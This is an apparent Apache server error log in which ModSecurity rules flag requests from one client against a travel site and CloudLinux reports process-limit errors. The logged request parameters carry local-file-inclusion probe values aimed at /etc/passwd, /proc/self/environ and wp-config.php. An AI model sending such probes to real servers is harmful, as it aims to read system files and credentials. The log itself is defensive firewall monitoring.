[Fri Jul 17 08:55:55.447250 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6sqAAAABQ"]
[Fri Jul 17 08:55:55.447330 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.447500 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgww7FYe46zHK_jL3QGQAAABk"]
[Fri Jul 17 08:55:55.447564 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw0gVnBK6wAv37w6sqAAAABQ"]
[Fri Jul 17 08:55:55.454702 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:dir: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw_wooI4qY7Jg93pVzAAAABM"]
[Fri Jul 17 08:55:55.454841 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:dir: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw_wooI4qY7Jg93pVzAAAABM"]
[Fri Jul 17 08:55:55.455400 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw_wooI4qY7Jg93pVzAAAABM"]
[Fri Jul 17 08:55:55.455533 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.455828 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw_wooI4qY7Jg93pVzAAAABM"]
[Fri Jul 17 08:55:55.467384 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.473497 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.477049 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.478431 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.481863 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.487823 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.491072 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.493595 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.502691 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:content: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw_wooI4qY7Jg93pVzQAAABM"]
[Fri Jul 17 08:55:55.503211 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw_wooI4qY7Jg93pVzQAAABM"]
[Fri Jul 17 08:55:55.503344 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.503642 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw_wooI4qY7Jg93pVzQAAABM"]
[Fri Jul 17 08:55:55.507083 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:content: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxHlOGcokz2QIwTTZwAAAAM"]
[Fri Jul 17 08:55:55.507789 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxHlOGcokz2QIwTTZwAAAAM"]
[Fri Jul 17 08:55:55.507935 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.508302 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwxHlOGcokz2QIwTTZwAAAAM"]
[Fri Jul 17 08:55:55.564159 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:content: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxAi3pC6yjXGNq2AvQAAAAU"]
[Fri Jul 17 08:55:55.564278 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:content: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxAi3pC6yjXGNq2AvQAAAAU"]
[Fri Jul 17 08:55:55.564837 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxAi3pC6yjXGNq2AvQAAAAU"]
[Fri Jul 17 08:55:55.566597 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:content: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw7EWOaI5pmYo9fnPEgAAAAA"]
[Fri Jul 17 08:55:55.566723 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:content: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw7EWOaI5pmYo9fnPEgAAAAA"]
[Fri Jul 17 08:55:55.567238 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw7EWOaI5pmYo9fnPEgAAAAA"]
[Fri Jul 17 08:55:55.567439 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.567791 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw7EWOaI5pmYo9fnPEgAAAAA"]
[Fri Jul 17 08:55:55.611127 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:content: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw6quHSHoCJK_V0SBiAAAABs"]
[Fri Jul 17 08:55:55.611253 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:content: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw6quHSHoCJK_V0SBiAAAABs"]
[Fri Jul 17 08:55:55.611718 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw6quHSHoCJK_V0SBiAAAABs"]
[Fri Jul 17 08:55:55.611843 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.612152 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw6quHSHoCJK_V0SBiAAAABs"]
[Fri Jul 17 08:55:55.612589 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.614061 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.615344 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:content: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw4e39YUk0SgV8AU6uAAAABE"]
[Fri Jul 17 08:55:55.615456 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:content: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw4e39YUk0SgV8AU6uAAAABE"]
[Fri Jul 17 08:55:55.616021 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw4e39YUk0SgV8AU6uAAAABE"]
[Fri Jul 17 08:55:55.616148 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.616448 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw4e39YUk0SgV8AU6uAAAABE"]
